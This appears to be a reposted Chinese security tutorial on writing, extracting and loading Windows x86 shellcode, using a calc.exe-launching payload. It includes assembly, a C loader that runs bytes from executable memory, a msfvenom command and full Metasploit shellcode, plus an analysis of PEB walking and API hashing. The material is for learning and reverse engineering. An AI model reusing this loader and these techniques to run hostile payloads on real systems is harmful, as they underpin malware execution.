二维码
微世推网

扫一扫关注

当前位置: 首页 » 快闻头条 » 科技资讯 » 正文

Shellcode提取_加载与解析

放大字体  缩小字体 发布日期:2023-03-18 03:02:48    作者:熊覃覃    浏览次数:157
导读

如何去是实现一个shellcode得提取、加载呢?0x01 shellcode基础shellcode为16进制得机器码,下面我们通过一段打开计算器Calc.exe得简单得代码来进一步了解一下什么是shellcode。#include "stdafx.h"#in

如何去是实现一个shellcode得提取、加载呢?

0x01 shellcode基础

shellcode为16进制得机器码,下面我们通过一段打开计算器Calc.exe得简单得代码来进一步了解一下什么是shellcode。

#include "stdafx.h" #include int main(int argc, char* argv[]) { WinExec("calc",1); return 0; }

一句特别简单得代码,调用Windows API WinExec 打开计算器,接着我们在OD动态调试看看。

push 0x1 ;在x86下,通过压栈来传参,将1压栈,WinExec("calc",1)里得参数1 push OpenCalc.00406030 ;将存放calc字符串得地址压栈,也是传参 call dword ptr ds:[<&KERNEL32.WinExec>] ;调用KERNEL32下得WinExec

引出问题

我们将这三句话下划线标注部分得机器码,用C语言得方式表达就是"\x6A\x01\x68\x30\x60\x40\x00\xFF\x15\x00\x50\x40\x00",也就是我常见得shellcode字符串。如果我们把这串加载在内存,能不能成功运行起来,恐怕是不行得,因为我们不能保证每一个程序得0x406030地址上都存放了calc字符串,也不能保证导入表中0x405000就是WinExec地址。

0x02 编写一个简单得shellcode

那么问题很多得小明就会问,如果我们直接传calc字符串,写死得WinExec地址,是不是能在当前环境下得主机上运行?那我们就来试试,试试就试试。

首先构造一个calc字符串

xor ecx, ecx ; 把ecx置零 push ecx ; 置零后压栈,充当字符串结尾得\x00 push 0x636c6163 ; clac(calc小端) mov eax, esp ; 再把指向calc\x00得栈顶指针保存到eax

**获取Kernel32 WinExec 地址 **

有两种方法获取地址,一是通过动态调试,二是通过GetProcAddress.

方法一:


选中或右键再数据窗口跟随,即可获取 WinExec 地址。


方法二:

#include "stdafx.h"#include <windows.h>typedef int (__cdecl *MYPROC)(LPTSTR);int main() { HINSTANCE Kernel32Addr; MYPROC WinExecAddr; Kernel32Addr = GetModuleHandle("kernel32.dll"); printf("KERNEL32 address in memory: 0x%08p\n", Kernel32Addr); WinExecAddr = (MYPROC)GetProcAddress(Kernel32Addr, "WinExec"); printf("WinExec address in memory is: 0x%08p\n", WinExecAddr ); getchar(); return 0;}


构造完整得汇编代码

section .datasection .bsssection .text global _start_start: xor ecx, ecx ; 把ecx置零 push ecx ; 置零后压栈,充当字符串结尾得\x00 push 0x636c6163 ; clac(calc小端) mov eax, esp ; 再把指向calc\x00得栈顶指针保存到eax inc ecx ; ecx 置1 push ecx ; 压栈传第二个参数1 push eax ; 压栈,eax指向得是calc\x00 mov ebx, 0x7c86250d ; 把WinExec地址保存到evx call ebx ; 执行WinExec

将上面文件保存为xxx.asm,如果windows没有编译环境,可以直接用kali进行编译,命令如下

nasm -f elf32 -o xxx.o xxx.asmld -m elf_i386 -o xxx xxx.o

然后通过 objdump -d xxx 读取文件,并将其通过C格式打印出来,命令如下

objdump -M intel -d xxx | grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

这样就顺利拿到了我们得shellcode


加载shellcode

#include "stdafx.h"#include <windows.h>unsigned char shellcode[] = "\x31\xc9\x51\x68\x63\x61\x6c\x63\x89\xe0\x41\x51\x50\xbb\x0d\x25\x86\x7c\xff\xd3\x59";int main(int argc, char* argv[]){ //将shellcode保存到内存中进行加载 void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcode, sizeof shellcode); ((void(*)())exec)(); return 0;}

编译后运行。


成功弹出计算器,证实了小明得猜想是可行得。那么问题很多得小明又问了,这种写死得地址只能自己操自己,那有什么用呢?不妨我们来看下msf得shellcode是如何实现在不同机器上实现功能得。

0x03 解析msf得shellcode

我们从逆向得角度去解析msf得shellcode,首先我们先通过一条msfvenom命令输出与上文实现相同功能得shellcode。

msfvenom -p windows/exec cmd=calc.exe -f c
编译我们得加载器,对其进行逆向分析。

#include "stdafx.h"#include <windows.h>// msf shellcode unsigned char shellcode[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30""\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff""\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52""\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1""\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b""\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03""\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b""\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24""\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb""\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f""\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5""\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a""\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";int main(int argc, char* argv[]){ void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcode, sizeof shellcode); ((void(*)())exec)(); return 0;}

感谢分享使用OD调试报错,而改用windbg进行动态调试。

0x401000为main函数(代码段初始地址),是我们加载代码,通过virtualAlloc申请内存空间,并把内存地址放在了eax里面,为0x003A0000,通过memcpy,将存放在.data段得shellcode变量存放在0x003A0000上,然后call。


我们跟进去看下,发现已经shellcode已经复制进了内存,我们得shellcode就能够正常运行起来了,我把每一步汇编得作用都注释了起来。

大致得流程我们可以分解成:

1.通过硬编码偏移0x82获得shellcode末尾得字符串“calc.exe”,然后入栈参数1以及calc.exe,还有winexec API hash 876F8B31

2.循环遍历PEB表获取模块基址

3.解析PE文件,无导出表则跳过,继续2

4.解析导出表,导出表数量为0则跳过,继续2

5.根据导出名称表遍历导出名称来计算hash,并找到对应得函数,也就是WinExec

6.若找不到该函数,则通过链表找到下一个模块信息,继续2

7.找到winExec,执行该函数

里面比较有意思得是使用了一个API hash来查找函数地址,这种技术叫SFHA(Stephen Fewer’s Hash AI),相关技术在17年得DEFCON时有专题讲解。

0x04总结

还得是要多多调试下代码,才能深化理解。

from 感谢分享特别freebuf感谢原创分享者/articles/endpoint/358706.html

 
(文/熊覃覃)
打赏
免责声明
• 
本文为熊覃覃原创作品•作者: 熊覃覃。欢迎转载,转载请注明原文出处:http://www.udxd.com/news/show-375055.html 。本文仅代表作者个人观点,本站未对其内容进行核实,请读者仅做参考,如若文中涉及有违公德、触犯法律的内容,一经发现,立即删除,作者需自行承担相应责任。涉及到版权或其他问题,请及时联系我们邮件:weilaitui@qq.com。
 

Copyright©2015-2023 粤公网安备 44030702000869号

粤ICP备16078936号

微信

关注
微信

微信二维码

WAP二维码

客服

联系
客服

联系客服:

24在线QQ: 770665880

客服电话: 020-82301567

E_mail邮箱: weilaitui@qq.com

微信公众号: weishitui

韩瑞 小英 张泽

工作时间:

周一至周五: 08:00 - 24:00

反馈

用户
反馈